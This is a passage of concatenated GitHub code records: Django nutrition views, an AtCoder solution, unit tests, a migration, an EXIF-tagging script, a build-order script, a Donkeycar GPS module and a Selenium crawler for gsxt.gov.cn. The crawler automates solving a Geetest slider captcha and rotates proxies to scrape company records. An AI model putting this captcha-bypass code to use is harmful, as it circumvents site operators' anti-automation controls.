request.method == 'POST':\n # form = BoardForm(request.POST)\n form = BoardForm(request.POST, instance=board)\n if form.is_valid():\n # board.title = form.cleaned_data.get('title')\n # board.content = form.cleaned_data.get('content')\n # board.save()\n board=form.save()\n return redirect('boards:detail', board.pk)\n\n else: \n # form = BoardForm(initial=board.__dict__)\n #create 와 다른점. 기존의 글들이 있음\n form = BoardForm(instance=board)\n return render(request, 'boards/form.html', {'form':form, 'board':board})\n \n \ndef user_data(request):\n # board = get_object_or_404(Board, pk=board_pk)\n\n user = request.user\n profile = user.profile\n\n if profile.gender == 'M':\n calorie= int(662-9.53*profile.age+(15.91*profile.weight+5.396*profile.height)*(0.87+0.13*int(profile.activity)))\n else:\n calorie= int(354-6.91*profile.age+(9.36*profile.weight+7.26*profile.height)*(0.87+0.13*int(profile.activity)))\n \n carbohydrate_low= int(calorie*0.55/4)\n carbohydrate_high= int(calorie*0.65/4)\n protein_low= int(calorie*0.07/4)\n protein_high= int(calorie*0.2/4)\n fat_low= int(calorie*0.15/9)\n fat_high= int(calorie*0.3/9)\n profile.calorie=calorie\n profile.carbohydrate_low=carbohydrate_low\n profile.carbohydrate_high=carbohydrate_high\n profile.protein_low=protein_low\n profile.protein_high=protein_high\n profile.fat_low=fat_low\n profile.fat_high=fat_high\n \n profile.save()\n return render(request, 'boards/calculator.html',{'calorie':calorie,'carbohydrate_low':carbohydrate_low,'carbohydrate_high':carbohydrate_high,'protein_low':protein_low,'protein_high':protein_high,'fat_low':fat_low,'fat_high':fat_high})\n\ndef select_food(request):\n # board = get_object_or_404(Board, pk=board_pk)\n \n if request.method == 'POST':\n wb= openpyxl.load_workbook('food.xlsx')\n ws = wb.active\n food1 = request.POST.get('food1')\n food2 = request.POST.get('food2')\n food3 = request.POST.get('food3')\n quantity1 = float(request.POST.get('quantity1'))\n quantity2 = float(request.POST.get('quantity2'))\n quantity3 = float(request.POST.get('quantity3'))\n for r in ws.rows:\n if r[0].value == food1:\n calorie1 = int(r[1].value*quantity1)\n carbohydrate1 = int(r[2].value*quantity1)\n protein1 = int(r[3].value*quantity1)\n fat1 = int(r[4].value*quantity2)\n \n elif r[0].value == food2:\n calorie2 = int(r[1].value*quantity2)\n carbohydrate2 = int(r[2].value*quantity2)\n protein2 = int(r[3].value*quantity2)\n fat2 = int(r[4].value*quantity2)\n \n elif r[0].value == food3:\n calorie3 = int(r[1].value*quantity3)\n carbohydrate3 = int(r[2].value*quantity3)\n protein3 = int(r[3].value*quantity3)\n fat3 = int(r[4].value*quantity3)\n \n sum_calorie=calorie1+calorie2+calorie3 \n sum_carbohydrate=carbohydrate1+carbohydrate2+carbohydrate3\n sum_protein=protein1+protein2+protein3\n sum_fat=fat1+fat2+fat3\n \n return render(request,'boards/food.html',{'food1':food1, 'calorie1':calorie1,'carbohydrate1':carbohydrate1,'protein1':protein1, 'fat1':fat1,'food2':food2, 'calorie2':calorie2,'carbohydrate2':carbohydrate2,'protein2':protein2, 'fat2':fat2,'food3':food3, 'calorie3':calorie3,'carbohydrate3':carbohydrate3,'protein3':protein3, 'fat3':fat3,'sum_calorie':sum_calorie,'sum_carbohydrate':sum_carbohydrate,'sum_protein':sum_protein,'sum_fat':sum_fat,})\n else:\n return render(request,'boards/input.html')","repo_name":"wannte/python-practice","sub_path":"PRACTICE03/boards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37078302668","text":"# https://atcoder.jp/contests/s8pc-6/tasks/s8pc_6_b\n# 通り数を見積もる全探索\n# 1. 入り口と出口を決定する[これはsortしてそれの中央値になる]\n# 2. それに向かう分を全探索\n\nN = int(input())\nitem_places_array = []\nenter_array = []\nexit_array = []\n\nfor i in range(N):\n one_raw = list(map(int, input().split()))\n enter_array.append(one_raw[0])\n exit_array.append(one_raw[1])\n item_places_array.append(one_raw)\nenter_array.sort()\nexit_array.sort()\nprint(enter_array)\nprint(exit_array)\n# 大きさが真ん中のものが入り口と出口に決定される\nenter_num = enter_array[N//2]\nexit_num = exit_array[N//2]\n\n# 各列で差を求めてやればいい\n# 段階としては3段階\n# ENTER-A | A-B | B-EXIT\n# 以上3段階の和\ntotal_seconds = 0\nfor item_place in item_places_array:\n total_seconds += abs(enter_num - item_place[0]) + abs(item_place[0] - item_place[1]) + abs(item_place[1] - exit_num)\nprint(total_seconds)\n","repo_name":"Toshiyuki023Hori/Algo_training","sub_path":"2021/Nov/20211110.py","file_name":"20211110.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10690276923","text":"import unittest\n\nimport pandas as pd\n\nfrom ..src.train_classifier import (\n _split_to_feature_and_targets,\n evaluate_model,\n SpecialCharExtractor,\n tokenize\n)\nfrom .helpers import sort_and_assert_frame_equal\n\n\nclass TestTrainClassifier(unittest.TestCase):\n\n def test_split_to_feature_and_targets(self):\n df = pd.DataFrame(\n [\n [1, 'hello', 'greeting', 'something', 'nice'],\n [2, 'bye', 'greeting', 'something', 'not nice'],\n [3, 'you!', 'command', 'something', 'not nice']\n ]\n ,\n columns=['id', 'message', 'genre', 'who_knows', 'target']\n )\n output_X, output_Y = _split_to_feature_and_targets(df, ['message', 'genre', 'who_knows'])\n expected_X = pd.DataFrame([\n ['hello', 'greeting'],\n ['bye', 'greeting'],\n ['you!', 'command']\n\n ],\n columns=['message', 'genre'],\n index=pd.Index([1, 2, 3], name='id')\n )\n expected_Y = pd.DataFrame([\n ['nice'],\n ['not nice'],\n ['not nice']\n\n ],\n columns=['target'],\n index=pd.Index([1, 2, 3], name='id')\n )\n sort_and_assert_frame_equal(expected_X, output_X)\n sort_and_assert_frame_equal(expected_Y, output_Y)\n\n def test_evaluate_model(self):\n Y_test = pd.DataFrame(\n [\n [0, 1, 1],\n [0, 1, 1],\n [0, 1, 0],\n [0, 1, 0]\n\n ],\n columns=['a', 'b', 'c']\n )\n Y_pred = pd.DataFrame(\n [\n [0, 1, 1],\n [0, 1, 1],\n [0, 1, 0],\n [0, 0, 0]\n\n ],\n columns=['a', 'b', 'c']\n ).values\n\n output = evaluate_model(Y_test, Y_pred)\n expected = [\n 'a: Accuracy: 1.000 Precision: 1.0 Recall: 1.000 F1_score: 1.000',\n 'b: Accuracy: 0.750 Precision: 1.0 Recall: 0.750 F1_score: 0.857',\n 'c: Accuracy: 1.000 Precision: 1.0 Recall: 1.000 F1_score: 1.000'\n ]\n self.assertListEqual(expected, output)\n\n\n def test_SpecialCharExtractor(self):\n special_char_extractor = SpecialCharExtractor()\n output = special_char_extractor.transform(['what are you filming this for?!'])\n expected = pd.DataFrame( # question_mark, exclamation_mark, number_of_commas, text_len\n [\n [1, 1, 0, 31],\n\n ],\n columns=[0, 1, 2, 3]\n )\n sort_and_assert_frame_equal(expected, output)\n\n def test_tokenize(self):\n output = tokenize(\n 'We need many more people here right now. Stop filming http bit.ly 7ENICX'\n )\n expected = ['need', 'many', 'people', 'right', 'stop', 'film', 'urlplaceholder']\n self.assertListEqual(expected, output)\n","repo_name":"LesterFreamon/disaster_response_pipeline","sub_path":"tests/test_train_classifier.py","file_name":"test_train_classifier.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74568418460","text":"\"\"\"empty message\n\nRevision ID: 4c20362cfce4\nRevises: \nCreate Date: 2023-04-30 17:51:37.441531\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '4c20362cfce4'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('instructors',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(), nullable=False),\n sa.Column('last_name', sa.String(), nullable=False),\n sa.Column('schedule', postgresql.ARRAY(sa.String(length=3)), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('instruments',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('instrument', sa.String(), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('courses',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.Column('schedule', postgresql.ARRAY(sa.String(length=3)), nullable=True),\n sa.Column('instrument_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['instrument_id'], ['instruments.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('instructor_instrument_relationship',\n sa.Column('instructor_id', sa.Integer(), nullable=False),\n sa.Column('instrument_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['instructor_id'], ['instructors.id'], ),\n sa.ForeignKeyConstraint(['instrument_id'], ['instruments.id'], ),\n sa.PrimaryKeyConstraint('instructor_id', 'instrument_id')\n )\n op.create_table('instructor_course_relationship',\n sa.Column('instructor_id', sa.Integer(), nullable=False),\n sa.Column('course_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['course_id'], ['courses.id'], ),\n sa.ForeignKeyConstraint(['instructor_id'], ['instructors.id'], ),\n sa.PrimaryKeyConstraint('instructor_id', 'course_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('instructor_course_relationship')\n op.drop_table('instructor_instrument_relationship')\n op.drop_table('courses')\n op.drop_table('instruments')\n op.drop_table('instructors')\n # ### end Alembic commands ###\n","repo_name":"alexander-jaferey/MusicSchoolApp","sub_path":"backend/migrations/versions/4c20362cfce4_.py","file_name":"4c20362cfce4_.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8586164419","text":"\"\"\"Tag an Instagram archive with metadata\"\"\"\n\nimport json\nimport logging\nimport os\nimport shlex\nimport subprocess as sp\nimport uuid\nfrom datetime import datetime\nfrom typing import Any, Sized\n\nimport click\nimport pytz\nfrom tqdm.auto import tqdm\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\ndef setup_logging() -> None:\n logging.basicConfig(\n level=logging.INFO,\n format=\"[%(asctime)s] %(levelname)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n handlers=[logging.FileHandler(\"ig.log\")],\n )\n\n\ndef p(collection: Sized) -> str:\n return \"s\" if len(collection) != 1 else \"\"\n\n\ndef collect_images(source: str) -> list[dict[str, Any]]:\n meta = []\n\n target = os.path.join(source, \"content\", \"posts_1.json\")\n if os.path.exists(target):\n with open(target) as f:\n meta += [img for item in json.load(f) for img in item[\"media\"]]\n\n target = os.path.join(source, \"content\", \"profile_photos.json\")\n if os.path.exists(target):\n with open(target) as f:\n meta += json.load(f)[\"ig_profile_picture\"]\n\n target = os.path.join(source, \"content\", \"stories.json\")\n if os.path.exists(target):\n with open(target) as f:\n meta += json.load(f)[\"ig_stories\"]\n\n # Rewrite paths\n for m in meta:\n m[\"uri\"] = os.path.join(source, m[\"uri\"])\n\n return meta\n\n\ndef tag_and_copy_item(item: dict[str, Any], destdir: str) -> None:\n new_uuid = uuid.uuid4()\n dest_path = os.path.join(destdir, f\"{new_uuid}{os.path.splitext(item['uri'])[-1]}\")\n\n timestamp = datetime.fromtimestamp(item[\"creation_timestamp\"])\n timestamp = timestamp.astimezone(pytz.timezone(\"America/New_York\"))\n\n # NB: ASCII so we've lost the emoji\n description: str = item.get(\"title\", \"\").strip()\n\n try:\n lat = list(item[\"media_metadata\"].values())[0][\"exif_data\"][0][\"latitude\"]\n lon = list(item[\"media_metadata\"].values())[0][\"exif_data\"][0][\"longitude\"]\n except KeyError:\n lat, lon = None, None\n\n run_exiftool(\n source=item[\"uri\"],\n dest=dest_path,\n timestamp=timestamp,\n description=description,\n latitude=lat,\n longitude=lon,\n )\n\n run_setfile(\n path=dest_path,\n timestamp=timestamp,\n )\n\n\ndef run_exiftool(\n source: str,\n dest: str,\n timestamp: datetime,\n description: str,\n latitude: str,\n longitude: str,\n) -> None:\n\n cmd = \"exiftool\"\n\n if timestamp:\n value = timestamp.strftime(\"%Y-%m-%dT%H:%M:%S%z\")\n cmd += f\" -DatetimeOriginal='{value}'\"\n cmd += f\" -DatetimeDigitized='{value}'\"\n\n if description:\n cmd += f\" -ImageDescription={shlex.quote(description)}\"\n\n if latitude:\n cmd += f\" -GPSLatitude='{latitude}'\"\n\n if longitude:\n cmd += f\" -GPSLongitudeRef=W -GPSLongitude='{longitude}'\"\n\n cmd += f' -o \"{dest}\" \"{source}\"'\n\n logger.info(cmd)\n job = sp.run(shlex.split(cmd), stderr=sp.PIPE, check=True, stdout=sp.DEVNULL)\n\n if job.stderr:\n logger.info(f\"STDERR = {job.stderr.decode('utf8')}\")\n\n\ndef run_setfile(path: str, timestamp: datetime) -> None:\n value = timestamp.strftime(\"%m/%d/%y %H:%M:%S %P\")\n cmd = f\"SetFile -d '{value}' {shlex.quote(path)}\"\n job = sp.run(cmd, shell=True, check=True, stderr=sp.PIPE, stdout=sp.DEVNULL)\n\n if job.stderr:\n logger.info(f\"STDERR = {job.stderr.decode('utf8')}\")\n\n\n@click.command()\n@click.option(\n \"--source\",\n \"-s\",\n required=True,\n type=click.Path(exists=True, file_okay=False),\n help=\"Instagram archive root.\",\n)\n@click.option(\n \"--output\",\n \"-o\",\n required=True,\n type=click.Path(exists=True, file_okay=False),\n help=\"Export directory.\",\n)\ndef main(source: str, output: str) -> None:\n setup_logging()\n logger.info(f\"source = {source}\")\n logger.info(f\"output = {output}\")\n\n media = collect_images(source)\n logger.info(f\"Collected {len(media)} item{p(media)}\")\n\n destdir = os.path.join(output, datetime.now().strftime(\"%Y%m%d_%H%M%S\"))\n logger.info(f\"Writing items to {destdir}\")\n\n for item in tqdm(media, unit=\"item\"):\n tag_and_copy_item(item, destdir)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tomshafer/instagram-archive-metadata","sub_path":"insta-archive-metadata.py","file_name":"insta-archive-metadata.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"36659488619","text":"\nfrom collections import Counter, defaultdict\nfrom typing import Generator\nimport tomlkit\nfrom pathlib import Path\nfrom get_packages import extract_package_paths\n\n\ndef build_dependency_graph():\n dependent_graph: defaultdict[str, set[str]] = defaultdict(set)\n deps_counter: Counter[int] = Counter()\n name_to_path: dict[str, Path] = {}\n\n for package in extract_package_paths():\n package_path = Path(package)\n if package_path.is_dir():\n name = package_path.name\n name_to_path[name] = package_path\n deps_counter[name] = 0\n with open(package_path.joinpath(\"pyproject.toml\"), \"r\") as f:\n pyproject = tomlkit.load(f)\n dependencies = pyproject[\"tool\"][\"poetry\"][\"dependencies\"]\n for dep in dependencies:\n if dep.startswith(\"polywrap-\"):\n dependent_graph[dep].add(name)\n deps_counter[name] += 1\n\n return dependent_graph, deps_counter, name_to_path\n\n\ndef topological_order(graph: dict[str, set[str]], counter: dict[str, int], name_to_path: dict[str, Path]) -> Generator[Path, None, None]:\n while counter:\n for dep in list(counter.keys()):\n if counter[dep] == 0:\n yield name_to_path[dep]\n for dependent in graph[dep]:\n counter[dependent] -= 1\n del counter[dep]\n\n\ndef package_build_order() -> Generator[Path, None, None]:\n graph, counter, name_to_path = build_dependency_graph()\n return topological_order(graph, counter, name_to_path)\n\n\nif __name__ == \"__main__\":\n for package in package_build_order():\n print(package)\n","repo_name":"polywrap/python-client","sub_path":"scripts/dependency_graph.py","file_name":"dependency_graph.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"7058803818","text":"# -*- coding: utf-8 -*-\n\nfrom re import compile as re_compile\nfrom time import sleep\n\nfrom bs4 import BeautifulSoup\nfrom scrapy import Request\nfrom scrapy.http import HtmlResponse\nfrom selenium.webdriver.support import ui\n\nfrom crawler_bqjr.captcha.geetest.hack import GeetestHack\nfrom crawler_bqjr.items.company_items import CompanyGXSTDetailItem\nfrom crawler_bqjr.settings import DO_NOTHING_URL\nfrom crawler_bqjr.spiders.company_spiders.base import get_one_company\nfrom crawler_bqjr.spiders.company_spiders.chrome_webdriver_spider import AbstractWebdriverSpider\nfrom data_storage.db_settings import MONGO_COMPANY_DB, MONGO_COMPANY_COLLECTIONS\nfrom data_storage.mongo_db import MongoDB\nfrom data_storage.ssdb_db import get_ssdb_conn\n\n\nclass DetailGSXTSpider(AbstractWebdriverSpider):\n name = \"gsxt\"\n allowed_domains = [\"gsxt.gov.cn\"]\n start_urls = [\"http://www.gsxt.gov.cn/index.html\"]\n\n custom_settings = {\n 'DOWNLOAD_DELAY': 0,\n 'CONCURRENT_REQUESTS_PER_DOMAIN': 8,\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.pattern = re_compile(r\"[a-zA-Z\\d]+\")\n\n def closed(self, reason):\n super().closed(reason)\n if hasattr(self, 'driver') and self.driver is not None:\n self.driver.quit()\n\n def __getwebdriver__(self):\n # self.driver = PhantomJSUtils.get_webdriver(self.settings)\n # self.wait = ui.WebDriverWait(self.driver, 20)\n # self.driver.start_session(webdriver.DesiredCapabilities.PHANTOMJS)\n # dcap = webdriver.DesiredCapabilities.CHROME\n # dcap[\"phantomjs.page.settings.userAgent\"] = PhantomJSUtils.randomUA()\n if not hasattr(self, 'driver') or self.driver is None:\n # self.driver = chromedriver.WebDriver(\n # executable_path=\"F:\\\\software\\\\pycharm\\\\workspace\\\\CrawlerHack\\\\browser\\\\chromedriver.exe\",\n # desired_capabilities=dcap)\n # self.driver = WebDriverProxy(self.settings,implicitly_wait=0,page_load_timeout=5,script_timeout=5).driver\n # dcap = webdriver.DesiredCapabilities.CHROME\n # dcap[\"phantomjs.page.settings.userAgent\"] = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\"\n # self.driver.start_session(dcap)\n self.driver = self.spider.getdriver(executable_path=self.settings[\"PHANTOMJS_EXECUTABLE_PATH\"],\n use_proxy=True)\n return self.driver\n\n def __getwait_20__(self):\n if not hasattr(self, 'wait_20'):\n self.wait_20 = ui.WebDriverWait(self.__getwebdriver__(), timeout=20)\n return self.wait_20\n\n def __getwait_10__(self):\n if not hasattr(self, 'wait_10'):\n self.wait_10 = ui.WebDriverWait(self.__getwebdriver__(), timeout=10)\n return self.wait_10\n\n def parse(self, response):\n ssdb_conn = get_ssdb_conn()\n mongo_instance = MongoDB(MONGO_COMPANY_DB, MONGO_COMPANY_COLLECTIONS)\n company = \"\"\n # time_start = time()\n while True:\n try:\n company = get_one_company(mongo_instance, ssdb_conn)\n if company is not None:\n # DetailGSXTSpider.scrapy_count += 1\n company_name = company[\"name\"]\n driver = self.__getwebdriver__()\n self.driver = driver\n self.logger.info(\"正在爬取公司:%s\" % company_name)\n self.wait_20 = self.__getwait_20__()\n self.wait_10 = self.__getwait_10__()\n driver.get(response.url)\n # with open(\"webpage.html\", \"w\",encoding='utf-8') as file:\n # file.write(driver.page_source)\n\n self.wait_20.until(lambda d: d.find_element_by_xpath(\"//input[@id='keyword']\").is_displayed())\n\n # 关键词输入框\n keyword_input = driver.find_element_by_id(\"keyword\")\n keyword_input.send_keys(company_name)\n\n # 点击查询按钮\n submit_btn = driver.find_element_by_id(\"btn_query\")\n submit_btn.click()\n\n # 如果重试3次依然抛出TimeoutException则跳过此次查询\n try_counts = 3\n while True:\n try:\n self.wait_20.until(lambda d: d.find_element_by_xpath(\"//div[@class='gt_cut_bg gt_show']\").is_displayed())\n break\n except Exception:\n submit_btn.click()\n try_counts -= 1\n if try_counts == 0:\n break\n if try_counts == 0:\n continue\n hack = GeetestHack(driver, self.wait_10, self.logger)\n is_successful = hack.drag_and_move_slider(\"//div[@class='gt_cut_bg gt_show']\",\n \"//div[@class='gt_cut_fullbg gt_show']\",\n \"//div[@class='gt_cut_bg gt_show']\"\n \"/div[@class='gt_cut_bg_slice']\",\n \"//div[@class='gt_cut_fullbg gt_show']\"\n \"/div[@class='gt_cut_fullbg_slice']\",\n \"//div[@class='gt_slider_knob gt_show']\",\n \"//a[@class='search_list_item db']\")\n tries = 5\n if not is_successful:\n sleep(2)\n try:\n while True:\n self.wait_20.until(\n lambda the_driver: the_driver.find_element_by_xpath(\n \"//div[@class='gt_cut_bg gt_show']\").is_displayed())\n hack.drag_and_move_slider(\"//div[@class='gt_cut_bg gt_show']\",\n \"//div[@class='gt_cut_fullbg gt_show']\",\n \"//div[@class='gt_cut_bg gt_show']\"\n \"/div[@class='gt_cut_bg_slice']\",\n \"//div[@class='gt_cut_fullbg gt_show']\"\n \"/div[@class='gt_cut_fullbg_slice']\",\n \"//div[@class='gt_slider_knob gt_show']\",\n \"//a[@class='search_list_item db']\")\n if tries == 0:\n break\n tries -= 1\n sleep(0.8)\n except Exception as e:\n self.logger.warning(\"爬取异常:{message:%s}\" % str(e))\n if tries == 0:\n # 查询公司失败,继续查下一个公司\n self.logger.debug(\"验证码破解失败,公司名:%s\" % company_name)\n continue\n try:\n # 查询公司成功,返回公司信息数据\n company_list = driver.find_elements_by_xpath(\"//a[@class='search_list_item db']\")\n if company_list:\n company_link = company_list[0].get_attribute(\"href\")\n driver.get(company_link)\n self.wait_10.until(lambda d: d.find_element_by_xpath(\"//div[@id='primaryInfo']\"\n \"/div[@class='details \"\n \"clearfix']\").is_displayed())\n\n response = HtmlResponse(driver.current_url, encoding=\"utf-8\", body=driver.page_source)\n yield self.parse_search(company_name, response)\n except Exception:\n self.logger.info(\"爬取异常:国家企业信用信息公示系统没有%s的相关信息\" % company_name)\n else:\n yield Request(DO_NOTHING_URL, self.do_nothing,\n errback=self.do_nothing, dont_filter=True)\n except Exception as e:\n self.logger.warning(\"爬取异常:{company: %s,message:%s}\" % (company, str(e)))\n finally:\n if hasattr(self, 'driver') and self.driver is not None:\n self.driver.quit()\n # if DetailGSXTSpider.scrapy_count == 3:\n # time_end = time()\n # self.logger.debug(\"爬取10条数据共使用时间%s秒\"%((time_end-time_start)))\n # exit(0)\n\n def parse_search(self, company_name, response):\n try:\n html_text = response.text\n text_join = self.text_join\n info_dict = dict(info.split(\":\", maxsplit=1) for info\n in (text_join(sel.xpath(\".//text()\").extract())\n for sel in response.xpath(\"//div[@class='overview']/dl\")))\n\n item = CompanyGXSTDetailItem()\n item[\"from_web\"] = self.name # 来源网站\n item[\"from_url\"] = \"http://www.gsxt.gov.cn\" # 来源url\n item[\"name\"] = (info_dict.get(\"企业名称\") or info_dict.get(\"名称\")\n or self.text_strip(response.xpath(\"//h1[@class='fullName']\"\n \"/text()\").extract_first(\"\"))) # 公司名称\n item[\"type\"] = (info_dict.get(\"类型\") or info_dict.get(\"企业类型\") or info_dict.get(\"组成形式\")\n or info_dict.get(\"经济性质\") or info_dict.get(\"经营性质\")) # 类型\n item[\"uniform_social_credit_code\"] = info_dict.get(\"统一社会信用代码\") # 统一社会信用代码\n item[\"legal_person\"] = (info_dict.get(\"法定代表人\") or info_dict.get(\"执行事务合伙人\")\n or info_dict.get(\"投资人\") or info_dict.get(\"经营者\")\n or info_dict.get(\"负责人\") or info_dict.get(\"执行合伙人\")\n or info_dict.get(\"母公司名称\") or info_dict.get(\"隶属企业名称\")) # 企业法人\n item[\"found_date\"] = info_dict.get(\"成立日期\") or info_dict.get(\"集团���立日期\") # 成立日期\n item[\"check_date\"] = info_dict.get(\"核准日期\") # 核准日期\n item[\"registered_capital\"] = (info_dict.get(\"注册资本\") or info_dict.get(\"认缴注册资本总额\")\n or info_dict.get(\"注册资金\") or info_dict.get(\"出资额\")\n or info_dict.get(\"注册资本(金)总和(万元)\")) # 注册资本\n item[\"business_period\"] = info_dict.get(\"营业期限至\") # 经营期限\n item[\"registered_address\"] = (info_dict.get(\"住所\") or info_dict.get(\"主要经营场所\")\n or info_dict.get(\"营业场所\") or info_dict.get(\"经营场所\")) # 注册地址\n item[\"licensed_business\"] = info_dict.get(\"经营范围\") # 一般经营项目范围,许可经营项目范围\n item[\"status\"] = info_dict.get(\"登记状态\") # 登记状态\n item[\"registered_authority\"] = info_dict.get(\"登记状态\") # 登记机关\n item[\"search_url\"] = response.url # 查询url\n item[\"html\"] = html_text # 网页\n\n soup = BeautifulSoup(html_text, 'lxml')\n\n # 股东信息\n shareholder_info = []\n try:\n for shareholder_item in soup.find('table', attrs={\"id\": \"shareholderInfo\"}).tbody.find_all(\"tr\"):\n try:\n item_info = [shareholder_item.contents[1].text.strip()]\n shareholder_info.append(item_info)\n except Exception:\n pass\n except Exception:\n pass\n item[\"shareholder_info\"] = shareholder_info\n\n # 主要成员\n member_info = []\n try:\n pattern = self.pattern\n for member_info_item in soup.find('div', attrs={\"id\": \"personInfo\"}).find_all(\"li\"):\n try:\n member_info_txt = member_info_item.a.contents[0].text.strip()\n old_str = pattern.search(member_info_txt)\n\n member_info_txt = member_info_txt.replace(old_str.group(0), \"\")\n item_info = [member_info_txt]\n member_info.append(item_info)\n except Exception:\n pass\n except Exception:\n pass\n item[\"member_info\"] = member_info\n return item\n except Exception as e:\n self.logger.warning(\"爬取异常:{url:%s, company: %s,message:%s}\"\n % (response.url, company_name, str(e)))\n","repo_name":"yezimai/crawler-master-v3","sub_path":"crawler_bqjr/crawler_bqjr/spiders/company_spiders/detail_gsxt.py","file_name":"detail_gsxt.py","file_ext":"py","file_size_in_byte":13621,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"30415829149","text":"import argparse\nfrom functools import reduce\nimport logging\nimport operator\nimport threading\nimport time\n\nimport pynmea2\nimport serial\nimport utm\n\nfrom donkeycar.parts.serial_port import SerialPort\nfrom donkeycar.parts.text_writer import CsvLogger\n\nlogger = logging.getLogger(__name__)\n\n\nclass GpsNmeaPositions:\n \"\"\"\n Donkeycar part to convert array of NMEA sentences into array of (x,y) positions\n \"\"\"\n def __init__(self, debug=False):\n self.debug = debug\n\n def run(self, lines):\n positions = []\n if lines:\n for ts, nmea in lines:\n position = parseGpsPosition(nmea, self.debug)\n if position:\n # output (ts,x,y) - so long is x, lat is y\n positions.append((ts, position[0], position[1]))\n return positions\n\n def update(self):\n pass\n\n def run_threaded(self, lines):\n return self.run(lines)\n\nclass GpsLatestPosition:\n \"\"\"\n Return most recent valid GPS position\n \"\"\"\n def __init__(self, debug=False):\n self.debug = debug\n self.position = None\n\n def run(self, positions):\n if positions is not None and len(positions) > 0:\n self.position = positions[-1]\n return self.position\n\nclass GpsPosition:\n \"\"\"\n Donkeycar part to read NMEA lines from serial port and convert a position\n \"\"\"\n def __init__(self, serial:SerialPort, debug = False) -> None:\n self.line_reader = SerialLineReader(serial)\n self.debug = debug\n self.position_reader = GpsNmeaPositions()\n self.position = None\n self._start()\n\n def _start(self):\n # wait until we get at least one gps position\n while self.position is None:\n logger.info(\"Waiting for gps fix\")\n self.position = self.run()\n\n def run_once(self, lines):\n positions = self.GpsNmeaPositions.run(lines)\n if positions is not None and len(positions) > 0:\n self.position = positions[-1]\n if self.debug:\n logger.info(f\"UTM long = {self.position[0]}, UTM lat = {self.position[1]}\")\n return self.position\n\n def run(self):\n lines = line_reader.run()\n return self.run_once(lines)\n\n def run_threaded(self):\n lines = line_reader.run_threaded()\n return self.run_once(lines)\n\n def update(self):\n self.line_reader.update()\n\n def shutdown(self):\n return self.line_reader.shutdown()\n\n\nclass GpsPlayer:\n \"\"\"\n Part that plays back the NMEA sentences that have been recorded\n by the nmea logger that is passed to the constructor.\n \"\"\"\n def __init__(self, nmea_logger:CsvLogger):\n self.nmea = nmea_logger\n self.index = -1\n self.starttime = None\n self.running = False\n\n def start(self):\n self.running = True\n self.starttime = None # will get set on first call to run()\n self.index = -1\n return self\n\n def stop(self):\n self.running = False\n return self\n\n def run(self, playing, nmea_sentences):\n \"\"\"\n Play NMEA if running and in autopilot mode.\n Collect NMEA sentences within the time limit,\n arguments:\n - playing:bool True if we are to play recorded nmea,\n False if we pass through given nmea\n - nmea_sentences:[str] list of live nmea from gps module\n to pass through if not playing\n returns:\n - playing:bool True if playing, False if not\n - nmea:[str] the resulting sentences as a list\n \"\"\"\n if self.running and playing:\n # if playing, then return the recorded nmea\n nmea = self.run_once(time.time())\n return True, nmea\n\n # if not playing, pass through the given nmea\n return False, nmea_sentences\n\n def run_once(self, now):\n \"\"\"\n Collect all nmea sentences up to and including the given time\n \"\"\"\n nmea_sentences = []\n if self.running:\n # reset start time if None\n if self.starttime is None:\n print(\"Resetting gps player start time.\")\n self.starttime = now\n\n # get first nmea sentence so we can get it's recorded time\n start_nmea = self.nmea.get(0)\n if start_nmea is not None:\n #\n # get next nmea sentence and play it if\n # it is within time.\n # if there is no next sentence, then wrap\n # around back to first sentence\n #\n start_nmea_time = float(start_nmea[0])\n offset_nmea_time = 0\n within_time = True\n while within_time:\n next_nmea = None\n if self.index >= self.nmea.length():\n # wrap around from end to start\n self.index = 0\n self.starttime += offset_nmea_time\n next_nmea = self.nmea.get(0)\n else:\n next_nmea = self.nmea.get(self.index + 1)\n\n if next_nmea is None:\n self.index += 1 # skip the invalid nmea sentence\n else:\n next_nmea_time = float(next_nmea[0])\n offset_nmea_time = (next_nmea_time - start_nmea_time)\n next_nmea_time = self.starttime + offset_nmea_time\n within_time = next_nmea_time <= now\n if within_time:\n nmea_sentences.append((next_nmea_time, next_nmea[1]))\n self.index += 1\n return nmea_sentences\n\n\ndef 